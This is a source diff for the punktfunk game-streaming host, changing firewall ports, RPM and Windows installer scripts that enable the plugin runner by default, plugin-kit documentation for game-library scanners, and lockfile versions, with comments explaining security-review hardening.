|
||||
<port protocol="tcp" port="47993"/> <!-- HTTPS plugin UIs (login-gated, separate origin) -->
|
||||
</service>
|
||||
|
||||
@@ -36,8 +36,15 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp
|
||||
# Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it).
|
||||
#
|
||||
# The optional web console (the separate punktfunk-web package). Open only if you installed it and
|
||||
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated).
|
||||
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated),
|
||||
# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993.
|
||||
#
|
||||
# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the
|
||||
# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same
|
||||
# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin
|
||||
# policy is the boundary — but still the same SITE, so the login session still reaches it. It is
|
||||
# login-gated exactly like the console, and only needed for plugins that ship a UI.
|
||||
[punktfunk-web]
|
||||
title=punktfunk web console
|
||||
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN
|
||||
ports=47992/tcp
|
||||
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on
|
||||
ports=47992,47993/tcp
|
||||
|
||||
@@ -191,9 +191,10 @@ The plugin/script runner for a punktfunk streaming host: it discovers loose scri
|
||||
~/.config/punktfunk/scripts and installed punktfunk-plugin-* packages under ~/.config/punktfunk/
|
||||
plugins, and supervises each as an Effect fiber (capped-jittered restart; SIGTERM shuts the whole
|
||||
tree down structurally so plugin finalizers run). A plugin auto-wires to the host's mgmt token +
|
||||
identity cert on the same box — no env editing. Bundles its own bun runtime. OPT-IN: the systemd
|
||||
--user unit ships disabled (the runner is inert until you add scripts/plugins). Enable with
|
||||
`systemctl --user enable --now punktfunk-scripting`.
|
||||
identity cert on the same box — no env editing. Bundles its own bun runtime. ON BY DEFAULT: the
|
||||
systemd --user unit is enabled for every user (systemctl --global). The game-library scanners ship
|
||||
as plugins, so a host without the runner has an empty library. Opt out per user with
|
||||
`systemctl --user mask punktfunk-scripting`.
|
||||
%endif
|
||||
|
||||
%prep
|
||||
@@ -554,6 +555,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || :
|
||||
%post
|
||||
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
|
||||
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || :
|
||||
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing
|
||||
# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must
|
||||
# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4).
|
||||
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || :
|
||||
# Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort).
|
||||
udevadm control --reload-rules 2>/dev/null || :
|
||||
udevadm trigger --subsystem-match=misc 2>/dev/null || :
|
||||
@@ -561,6 +566,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || :
|
||||
# it takes effect on the next boot into the layered deployment).
|
||||
sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || :
|
||||
echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)"
|
||||
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER"
|
||||
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
|
||||
echo "then enable the host: systemctl --user enable --now punktfunk-host"
|
||||
echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env"
|
||||
# Fedora/RHEL run firewalld by default — point the way to the installed service definitions.
|
||||
@@ -584,16 +591,31 @@ fi
|
||||
echo "punktfunk-web installed. Enable the console for your user:"
|
||||
echo " systemctl --user enable --now punktfunk-web"
|
||||
echo "A login password is generated on first start — read it with:"
|
||||
echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'"
|
||||
# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm /
|
||||
# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a
|
||||
# password out of it published the secret to every member of those groups (review 2026-08-05 L-18).
|
||||
echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password"
|
||||
echo "Then open https://<host-ip>:47992"
|
||||
%endif
|
||||
|
||||
%if %{with scripting}
|
||||
%post scripting
|
||||
echo "punktfunk-scripting installed. It runs your automation — add scripts to"
|
||||
# `--global`, not `--user`: a scriptlet has no user session to act on, and this is the only
|
||||
# mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into
|
||||
# /etc/systemd/user/…wants/). The game-library scanners are plugins now, so the runner is a default
|
||||
# component rather than an add-on (design D9); it stays opt-OUT via
|
||||
# `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a global
|
||||
# symlink. $1 == 1 is a first INSTALL — on an upgrade ($1 > 1) this must not undo an operator's mask.
|
||||
if [ "$1" -eq 1 ] && command -v systemctl >/dev/null 2>&1; then
|
||||
systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || :
|
||||
fi
|
||||
echo "punktfunk-scripting installed and enabled for all users."
|
||||
echo "It runs your automation — game-library sources, scripts in"
|
||||
echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)"
|
||||
echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-<name>),"
|
||||
echo "then enable the runner: systemctl --user enable --now punktfunk-scripting"
|
||||
echo "and plugins under ~/.config/punktfunk/plugins/."
|
||||
echo "It starts with your next login; start it now with:"
|
||||
echo " systemctl --user start punktfunk-scripting"
|
||||
echo "Don't want it? systemctl --user mask punktfunk-scripting"
|
||||
%endif
|
||||
|
||||
%changelog
|
||||
|
||||
@@ -329,9 +329,8 @@ Filename: "{app}\punktfunk-host.exe"; Parameters: "web setup {code:WebSetupParam
|
||||
; converges tasks an older installer registered as SYSTEM.
|
||||
; Best-effort (-ErrorAction SilentlyContinue): a task hiccup never fails the whole install. No braces
|
||||
; in the command, so no Inno {{ }} escaping needed.
|
||||
Filename: "powershell.exe"; \
|
||||
Parameters: "-NoProfile -ExecutionPolicy Bypass -Command ""$a=New-ScheduledTaskAction -Execute '{app}\scripting\scripting-run.cmd'; $t=New-ScheduledTaskTrigger -AtStartup; $p=New-ScheduledTaskPrincipal -UserId 'LocalService' -LogonType ServiceAccount; $s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p -Settings $s -Force -ErrorAction SilentlyContinue | Out-Null; Disable-ScheduledTask -TaskName PunktfunkScripting -ErrorAction SilentlyContinue | Out-Null"""; \
|
||||
StatusMsg: "Registering the Punktfunk script runner (disabled; opt-in)..."; Flags: runhidden waituntilterminated
|
||||
Filename: "powershell.exe"; Parameters: "{code:ScriptingRegisterParams}"; \
|
||||
StatusMsg: "Registering the Punktfunk script runner..."; Flags: runhidden waituntilterminated
|
||||
#endif
|
||||
#if defined(WithWeb) || defined(WithScripting)
|
||||
; Put back what StopBunRuntimes disabled to unlock bun.exe. Deliberately the LAST [Run] entry that
|
||||
@@ -619,6 +618,12 @@ end;
|
||||
it disabled would switch it off for everyone who had it on. }
|
||||
var
|
||||
WebTaskWasEnabled, ScriptingTaskWasEnabled: Boolean;
|
||||
{ Did PunktfunkScripting exist AT ALL before this install (enabled or not)? That is what
|
||||
distinguishes a FRESH scripting install — where the runner is now registered enabled by default
|
||||
(design D9: the library moves into plugins, and a flagship surface cannot depend on an opt-in
|
||||
subsystem, or a fresh box would come up with an empty library) — from an UPGRADE, where the
|
||||
operator's own choice is the only thing that may decide it. }
|
||||
ScriptingTaskExisted: Boolean;
|
||||
|
||||
{ Escape a value for embedding in a single-quoted PowerShell literal ('' is PS's escaped quote).
|
||||
The install dir is user-chosen, so it can legitimately contain an apostrophe. }
|
||||
@@ -643,6 +648,22 @@ begin
|
||||
Result := ResultCode = 1;
|
||||
end;
|
||||
|
||||
{ Is the task registered at all, whatever its state? Distinct from TaskEnabled: an operator who
|
||||
deliberately DISABLED the runner must keep it disabled across an upgrade, which is indistinguishable
|
||||
from a fresh install if you only ask "was it enabled". }
|
||||
function TaskExists(TaskName: String): Boolean;
|
||||
var
|
||||
ResultCode: Integer;
|
||||
begin
|
||||
Result := False;
|
||||
if Exec('powershell.exe',
|
||||
'-NoProfile -ExecutionPolicy Bypass -Command "' +
|
||||
'$t=Get-ScheduledTask -TaskName ''' + PsLiteral(TaskName) + ''' -ErrorAction SilentlyContinue; ' +
|
||||
'if($t){exit 1}; exit 0"',
|
||||
'', SW_HIDE, ewWaitUntilTerminated, ResultCode) then
|
||||
Result := ResultCode = 1;
|
||||
end;
|
||||
|
||||
{ Free the bundled bun.exe (and the console's own files) BEFORE the copy. Windows will not delete a
|
||||
running image, so a surviving bun means "DeleteFile failed; code 5" on bun\bun.exe - the modal a
|
||||
user hit updating to 0.22.1.
|
||||
@@ -664,6 +685,9 @@ var
|
||||
begin
|
||||
WebTaskWasEnabled := TaskEnabled('PunktfunkWeb');
|
||||
ScriptingTaskWasEnabled := TaskEnabled('PunktfunkScripting');
|
||||
{ Probed BEFORE the Disable below, which would otherwise make every upgrade look like a fresh
|
||||
install to the registration entry. }
|
||||
ScriptingTaskExisted := TaskExists('PunktfunkScripting');
|
||||
Exec('powershell.exe',
|
||||
'-NoProfile -ExecutionPolicy Bypass -Command "' +
|
||||
'$ErrorActionPreference=''SilentlyContinue''; ' +
|
||||
@@ -689,6 +713,35 @@ end;
|
||||
DELETED the legacy task (the console runs under the host service now), so Enable-ScheduledTask
|
||||
hits nothing and no-ops under SilentlyContinue. If the user cancels mid-install, though,
|
||||
DeinitializeSetup runs this same restore and puts the old (task-owned) world back intact. }
|
||||
{ Register PunktfunkScripting, and decide whether it comes up ENABLED.
|
||||
`Register-ScheduledTask` registers enabled, so the state is decided by what follows:
|
||||
* FRESH install (the task did not exist) -> leave it enabled and start it now, so the runner is
|
||||
live without waiting for a reboot. Since the library's scanners become plugins (design D9),
|
||||
shipping this opt-in would mean a fresh box comes up with an empty library and no obvious
|
||||
reason why.
|
||||
* UPGRADE (the task existed) -> disable here and let RestoreTasksParams put the operator's own
|
||||
state back. That order is deliberate: this entry cannot know what they chose, and defaulting
|
||||
to "on" here would silently switch the runner on for everyone who had turned it off.
|
||||
It remains opt-OUT: `punktfunk-host plugins disable`, or the task's own Disable, still wins and
|
||||
survives every later upgrade through exactly this path. }
|
||||
function ScriptingRegisterParams(Param: String): String;
|
||||
begin
|
||||
Result := '-NoProfile -ExecutionPolicy Bypass -Command "' +
|
||||
'$ErrorActionPreference=''SilentlyContinue''; ' +
|
||||
'$a=New-ScheduledTaskAction -Execute ''' +
|
||||
PsLiteral(ExpandConstant('{app}\scripting\scripting-run.cmd')) + '''; ' +
|
||||
'$t=New-ScheduledTaskTrigger -AtStartup; ' +
|
||||
'$p=New-ScheduledTaskPrincipal -UserId ''LocalService'' -LogonType ServiceAccount; ' +
|
||||
'$s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) ' +
|
||||
'-AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; ' +
|
||||
'Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p ' +
|
||||
'-Settings $s -Force | Out-Null; ';
|
||||
if ScriptingTaskExisted then
|
||||
Result := Result + 'Disable-ScheduledTask -TaskName PunktfunkScripting | Out-Null"'
|
||||
else
|
||||
Result := Result + 'Start-ScheduledTask -TaskName PunktfunkScripting | Out-Null"';
|
||||
end;
|
||||
|
||||
function RestoreTasksParams(Param: String): String;
|
||||
begin
|
||||
Result := '-NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference=''SilentlyContinue''; ';
|
||||
|
||||
@@ -53,6 +53,41 @@ export default definePluginKit({
|
||||
| `loggingLayer` | runner-journal line format |
|
||||
| `@punktfunk/plugin-kit/react` | browser glue: `createPluginRouter` (path→hash→fallback deep-link restore + `pf-ui:navigate`), `resolvePluginBase`, `useIsEmbedded`, `ResultGate`, `sseAtom` |
|
||||
| `@punktfunk/plugin-kit/theme.css` | the console's violet identity for plugin UIs (import first in your Tailwind entry) |
|
||||
| `@punktfunk/plugin-kit/library` | everything a **game-library scanner** plugin needs — see below |
|
||||
|
||||
## Library-scanner plugins (`@punktfunk/plugin-kit/library`)
|
||||
|
||||
The six first-party scanners (steam, lutris, heroic, epic, gog, xbox) each live in **their own
|
||||
repo**, like every other punktfunk plugin. Nothing is lost by that split because everything they
|
||||
share is published here rather than sitting adjacent to them:
|
||||
|
||||
| Export | What it saves you writing |
|
||||
| --- | --- |
|
||||
| `defineLibraryPlugin` | the whole plugin except the scan: store claim, sync engine (poll + fs-watch + debounce), launcher entries, `__config`, `category: "library"` registration, and the `detect` / `scan` / `parity` / `uninstall` CLI verbs |
|
||||
| `parsers/*` | text VDF + `.acf`, binary `shortcuts.vdf` (with the CRC-32 appid and the 64-bit `rungameid` composition), read-only SQLite, `reg.exe`, capped readers, a confined path join, Steam root/library discovery, art location helpers, an anti-SSRF fetch |
|
||||
| `diffParity` + the `parity` verb | the acceptance gate below |
|
||||
|
||||
A first-party scanner is therefore **its parsers and a `scan` function** — a few hundred lines.
|
||||
|
||||
### The parity gate
|
||||
|
||||
Ported unit tests pin the parsers; they do not prove the plugin reproduces the scanner it replaces.
|
||||
A plugin that parses perfectly and emits `steam:440.0` instead of `steam:440` breaks every Moonlight
|
||||
pin on the host, and no parser test notices. So, on a box with that launcher installed:
|
||||
|
||||
```sh
|
||||
# 1. while the host is still using its BUILT-IN scanner:
|
||||
punktfunk-plugin-steam parity --snapshot before.json
|
||||
# 2. offline — runs this plugin's own scan and diffs:
|
||||
punktfunk-plugin-steam parity --compare before.json
|
||||
```
|
||||
|
||||
`--compare` exits non-zero on any difference, so it works as a release gate. It compares ids,
|
||||
titles, launch recipes, roles and metadata exactly; **art by presence, not value** (the
|
||||
representation legitimately changes — a host-relative proxy path or inlined `data:` URL becomes a
|
||||
`file://` path or a CDN URL), so spot-check a few covers by eye once. Launcher entries the plugin
|
||||
adds are reported separately rather than failing the run; an ordinary title the scanner never had
|
||||
still fails.
|
||||
|
||||
## Telling the host how to recognize a running title (`detect`)
|
||||
|
||||
|
||||
+16
-9
@@ -21,12 +21,15 @@
|
||||
],
|
||||
},
|
||||
},
|
||||
"overrides": {
|
||||
"undici": "^8.9.0",
|
||||
},
|
||||
"packages": {
|
||||
"@effect/openapi-generator": ["@effect/openapi-generator@4.0.0-beta.98", "", { "dependencies": { "swagger2openapi": "^7.0.8" }, "peerDependencies": { "@effect/platform-node": "^4.0.0-beta.98", "effect": "^4.0.0-beta.98" }, "bin": { "openapigen": "dist/bin.js" } }, "sha512-7bqawr/HqJWqQ8H/bHyzBlLPA3LIIm3Y+cGYlIxnC/QVK795QpiEXb7uxTnP7V7w49V0sBtTerv4/9ZjsMffLQ=="],
|
||||
|
||||
"@effect/platform-node": ["@effect/platform-node@4.0.0-beta.98", "", { "dependencies": { "@effect/platform-node-shared": "^4.0.0-beta.98", "mime": "^4.1.0", "undici": "^8.7.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98", "ioredis": "^5.7.0" } }, "sha512-IQu1TiLXQEDSGkDBllyYjVadf+UqdjptryqX4mmktVTTbGDq7X4uVxe7cSgXuqZvyfG6kagTzwj2lfynxOaKQg=="],
|
||||
|
||||
"@effect/platform-node-shared": ["@effect/platform-node-shared@4.0.0-beta.99", "", { "dependencies": { "@types/ws": "^8.18.1", "ws": "^8.21.0" }, "peerDependencies": { "effect": "^4.0.0-beta.99" } }, "sha512-POBAowafsAAb3bH1x1rJlWnv32yMAazFgEuRW5LhkW/JJA5VGoEk9OnuoUkIH1OW6K/X6IrdNpqcO+5e9lPQJA=="],
|
||||
"@effect/platform-node-shared": ["@effect/platform-node-shared@4.0.0-beta.103", "", { "dependencies": { "@types/ws": "^8.18.1", "ws": "^8.21.0" }, "peerDependencies": { "effect": "^4.0.0-beta.103" } }, "sha512-0aCZMBid5ifqmY55TkfCDLaGTIM8qu3bNFUW7qL9vh/7jFOkaIAMX2MA8muG4deqW17XWxawddWu4v0fK+UW3g=="],
|
||||
|
||||
"@exodus/schemasafe": ["@exodus/schemasafe@1.3.0", "", {}, "sha512-5Aap/GaRupgNx/feGBwLLTVv8OQFfv3pq2lPRzPg9R+IOBnDgghTGW7l7EuVXOvg5cc/xSAlRW8rBrjIC3Nvqw=="],
|
||||
|
||||
@@ -44,15 +47,15 @@
|
||||
|
||||
"@msgpackr-extract/msgpackr-extract-win32-x64": ["@msgpackr-extract/msgpackr-extract-win32-x64@3.0.4", "", { "os": "win32", "cpu": "x64" }, "sha512-CmCXPQrkbwExx3j946/PtHWHbYJiCRBRDl4BlkRQcJB/YOwQxJRTpoo7aTsortjgoJ1x7opzTSxn7C+ASSLVjQ=="],
|
||||
|
||||
"@punktfunk/host": ["@punktfunk/host@file:../sdk", { "devDependencies": { "@effect/openapi-generator": "4.0.0-beta.98", "@effect/platform-node": "4.0.0-beta.98", "@types/bun": "^1.3.0", "effect": "^4.0.0-beta.98", "typescript": "^5.9.3" }, "optionalDependencies": { "undici": "^7.0.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98" }, "bin": { "punktfunk-scripting": "./dist/runner-cli.js" } }],
|
||||
"@punktfunk/host": ["@punktfunk/host@file:../sdk", { "devDependencies": { "@effect/openapi-generator": "4.0.0-beta.98", "@effect/platform-node": "4.0.0-beta.98", "@types/bun": "^1.3.0", "bun2nix": "2.1.2", "effect": "^4.0.0-beta.98", "typescript": "^5.9.3" }, "optionalDependencies": { "undici": "^7.0.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98" }, "bin": { "punktfunk-scripting": "./dist/runner-cli.js" } }],
|
||||
|
||||
"@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="],
|
||||
|
||||
"@types/bun": ["@types/bun@1.3.14", "", { "dependencies": { "bun-types": "1.3.14" } }, "sha512-h1hFqFVcvAvD9j9K7ZW7vd82aSA+rTdznZa+5bwvCwqSB1jmmfLcbIWhOLx1/+boy/xmjgCs/OMUL8hRJSmnPw=="],
|
||||
|
||||
"@types/node": ["@types/node@26.1.1", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-nxAkRSVkN1Y0JC1W8ky/fTfkGsMmcrRsbx+3XoZE+rMOX71kLYTV7fLXpqud1GpbpP5TuffXFqfX7fH2GgZREw=="],
|
||||
"@types/node": ["@types/node@26.1.2", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-Vu4a5UFA9rIIFJ7rB/Vaafh9lrCQszopTCx6KjFboXTGQbPNasehVR5TEiithSDGyd1DEiUByggTZsg8jukeIg=="],
|
||||
|
||||
"@types/react": ["@types/react@19.2.17", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw=="],
|
||||
"@types/react": ["@types/react@19.2.18", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w=="],
|
||||
|
||||
"@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
|
||||
|
||||
@@ -62,6 +65,8 @@
|
||||
|
||||
"bun-types": ["bun-types@1.3.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4N0ig0fEomHt5R0KCFWjovxow98rIoRwKolrYdCcknNwMekCXRnWEUvgu5soYV8QXtVsrUD8B95MBOZGPvr6KQ=="],
|
||||
|
||||
"bun2nix": ["bun2nix@2.1.2", "", { "dependencies": { "sade": "^1.8.1" }, "bin": { "bun2nix": "index.ts" } }, "sha512-0wx6Ar5ccrz4aSD5prbShwymjDEXFh7Bucxs+YrpAMa67TnVB95Hv8FV3oaQEbtOx6QGgIAyOmap6Y3WCRqetg=="],
|
||||
|
||||
"call-me-maybe": ["call-me-maybe@1.0.2", "", {}, "sha512-HpX65o1Hnr9HH25ojC1YGs7HCQLq0GCOibSaWER0eNpgJ/Z1MZv2mTc7+xh6WOPxbRVcmgbv4hGU+uSQ/2xFZQ=="],
|
||||
|
||||
"cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="],
|
||||
@@ -108,9 +113,11 @@
|
||||
|
||||
"mime": ["mime@4.1.0", "", { "bin": { "mime": "bin/cli.js" } }, "sha512-X5ju04+cAzsojXKes0B/S4tcYtFAJ6tTMuSPBEn9CPGlrWr8Fiw7qYeLT0XyH80HSoAoqWCaz+MWKh22P7G1cw=="],
|
||||
|
||||
"mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="],
|
||||
|
||||
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
|
||||
|
||||
"msgpackr": ["msgpackr@2.0.4", "", { "optionalDependencies": { "msgpackr-extract": "^3.0.4" } }, "sha512-o1C5KRmuRt+apqMr1HuGSqWStZoRBUpEsCsl15uM9VdAF1qHLtvMOU2En747EnTyEl6c4pzPewRMFF31s1CNbA=="],
|
||||
"msgpackr": ["msgpackr@2.0.5", "", { "optionalDependencies": { "msgpackr-extract": "^3.0.4" } }, "sha512-cef05H/dSYpLpqp3sj/qyZh5vhUYCalnaLO7j1yOmpsR0y/XwLVtK7r5gn+U/F7CTEfMowcGhlUQJDLcLf7jcA=="],
|
||||
|
||||
"msgpackr-extract": ["msgpackr-extract@3.0.4", "", { "dependencies": { "node-gyp-build-optional-packages": "5.2.2" }, "optionalDependencies": { "@msgpackr-extract/msgpackr-extract-darwin-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-darwin-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-win32-x64": "3.0.4" }, "bin": { "download-msgpackr-prebuilds": "bin/download-prebuilds.js" } }, "sha512-4kmO/MdyUIkLIvTPr8VHLil4AtoKIoniWPIEk5+CDy0xnWC84azhSFmuJ7PxZdsYtiP5kEeQsORAVIeMgxT+Hw=="],
|
||||
|
||||
@@ -144,6 +151,8 @@
|
||||
|
||||
"require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="],
|
||||
|
||||
"sade": ["sade@1.8.1", "", { "dependencies": { "mri": "^1.1.0" } }, "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A=="],
|
||||
|
||||
"should": ["should@13.2.3", "", { "dependencies": { "should-equal": "^2.0.0", "should-format": "^3.0.3", "should-type": "^1.4.0", "should-type-adaptors": "^1.0.1", "should-util": "^1.0.0" } }, "sha512-ggLesLtu2xp+ZxI+ysJTmNjh2U0TsC+rQ/pfED9bUZZ4DKefP27D+7YJVVTvKsmjLpIi9jAa7itwDGkDDmt1GQ=="],
|
||||
|
||||
"should-equal": ["should-equal@2.0.0", "", { "dependencies": { "should-type": "^1.4.0" } }, "sha512-ZP36TMrK9euEuWQYBig9W55WPC7uo37qzAEmbjHz4gfyuXrEUgF8cUvQVO+w+d3OMfPvSRQJ22lSm8MQJ43LTA=="],
|
||||
@@ -170,7 +179,7 @@
|
||||
|
||||
"typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
|
||||
|
||||
"undici": ["undici@7.28.0", "", {}, "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="],
|
||||
"undici": ["undici@8.10.0", "", {}, "sha512-HvltHd7avK13QIw/oLe4qoOLyoVSoafqJ2jYOrtMRBkbYT31eiBQ8O0ehRKZiEZCMEyLFQNIADpgCWC5fALvYQ=="],
|
||||
|
||||
"undici-types": ["undici-types@8.3.0", "", {}, "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="],
|
||||
|
||||
@@ -182,7 +191,7 @@
|
||||
|
||||
"wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
|
||||
|
||||
"ws": ["ws@8.21.1", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw=="],
|
||||
"ws": ["ws@8.21.2", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-54dMVAo4WIe6SKy3vBgN+9bJZqqQ8IMRevAkOLQALhi49qkkQDQfWdAZ8KQlXiEabw88ARXXdUrlvtbKQX+aKw=="],
|
||||
|
||||
"y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="],
|
||||
|
||||
@@ -192,8 +201,6 @@
|
||||
|
||||
"yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="],
|
||||
|
||||
"@effect/platform-node/undici": ["undici@8.8.0", "", {}, "sha512-ubshXMXwF3MQIMF1y/WxZdNBnjEKeSg2wF5mcGUtU55YTw34tnVVpKRlLf7ruDXZ5344KokPVX4RBx1wJm64Bw=="],
|
||||
|
||||
"oas-linter/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="],
|
||||
|
||||
"oas-resolver/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="],
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
// A COMPLETE library-scanner plugin, and the template the six first-party ones are cut from.
|
||||
//
|
||||
// This is the lutris pilot (design M5/WP5.1) — the smallest of the six, and the one that exercises
|
||||
// the POSIX local-art path end to end. It lives here as a worked example rather than shipped code:
|
||||
// each scanner gets its OWN repo (the house pattern), and this is what you copy into a fresh one.
|
||||
// `package.json`'s `files` is dist + README, so nothing here is published.
|
||||
//
|
||||
// The point it proves: everything below the `scan` function is store-specific parsing, and
|
||||
// everything else — the store claim, the sync engine, launcher entries, `__config`, the console
|
||||
// registration, the CLI verbs including the parity gate — comes from `defineLibraryPlugin`. That is
|
||||
// what makes six repos cost nothing in duplication.
|
||||
//
|
||||
// Ported from crates/punktfunk-host/src/library/lutris.rs, with two deliberate changes:
|
||||
// * art is emitted as `file://` URLs instead of inlined `data:` URLs. The host proxies the bytes,
|
||||
// so the reconcile payload stays tiny — inlining covers is what blew the host's 2 MB body limit
|
||||
// at 49 titles during the playnite work, and it is exactly why the POSIX art path exists (G4).
|
||||
// * the `installed = 1` filter and the untrusted-slug guard are carried over verbatim. The slug
|
||||
// comes from Lutris's own database and is interpolated into a path, so the guard is load-bearing.
